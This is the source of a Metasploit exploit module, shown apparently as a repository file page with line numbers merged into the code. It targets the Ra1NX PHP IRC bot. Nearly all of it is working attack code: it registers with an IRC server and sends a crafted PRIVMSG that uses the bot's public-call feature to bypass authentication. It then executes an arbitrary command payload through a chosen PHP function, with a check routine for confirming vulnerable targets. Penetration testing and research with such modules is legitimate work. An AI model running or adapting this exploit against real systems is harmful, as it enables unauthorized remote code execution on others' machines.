Path: blob/master/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb
32533 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution',15'Description' => %q{16This module allows remote command execution on the PHP IRC bot Ra1NX by17using the public call feature in private message to covertly bypass the18authentication system.19},20'Author' => [21'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module22],23'License' => MSF_LICENSE,24'References' => [25['OSVDB', '91663'],26['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],27['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],28['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']29],30'Arch' => ARCH_CMD,31'Payload' => {32'Space' => 344,33'BadChars' => '',34'DisableNops' => true,35'Compat' =>36{37'PayloadType' => 'cmd'38}39},40'Targets' => [41['Ra1NX / Unix', { 'Platform' => 'unix' } ],42['Ra1NX / Windows', { 'Platform' => 'win' } ]43],44'Privileged' => false,45'DisclosureDate' => '2013-03-24',46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options(56[57Opt::RPORT(6667),58OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),59OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),60OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),61OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])62]63)64end6566def post_auth?67true68end6970def connect_irc71print_status("#{rhost}:#{rport} - Connecting to IRC server...")72connect7374data = ''75begin76read_data = sock.get_once(-1, 1)77until read_data.nil?78data << read_data79read_data = sock.get_once(-1, 1)80end81rescue EOFError82end8384if data and data =~ /020.*wait/85print_good("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")86select(nil, nil, nil, 3)87end88end8990def check91connect_irc9293response = register(sock)94if response =~ /463/ or response =~ /464/95vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")96return Exploit::CheckCode::Unknown97end9899confirm_string = rand_text_alpha(8)100response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")101102quit(sock)103disconnect104105if response =~ /#{confirm_string}/106return Exploit::CheckCode::Vulnerable107else108return Exploit::CheckCode::Safe109end110end111112def send_msg(sock, data)113sock.put(data)114data = ''115begin116read_data = sock.get_once(-1, 1)117until read_data.nil?118data << read_data119read_data = sock.get_once(-1, 1)120end121rescue EOFError122end123data124end125126def register(sock)127msg = ''128129if datastore['IRC_PASSWORD'] and !datastore['IRC_PASSWORD'].empty?130msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"131end132133if datastore['NICK'].length > 9134nick = rand_text_alpha(9)135print_error("The nick is longer than 9 characters, using #{nick}")136else137nick = datastore['NICK']138end139140msg << "NICK #{nick}\r\n"141msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"142143response = send_msg(sock, msg)144return response145end146147def ra1nx_command(sock)148encoded = payload.encoded149command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"150response = send_msg(sock, command_msg)151return response152end153154def quit(sock)155quit_msg = "QUIT :bye bye\r\n"156sock.put(quit_msg)157end158159def exploit160connect_irc161162print_status("#{rhost}:#{rport} - Registering with the IRC Server...")163response = register(sock)164if response =~ /463/ or response =~ /464/165print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")166return167end168169print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")170ra1nx_command(sock)171172quit(sock)173disconnect174end175end176177178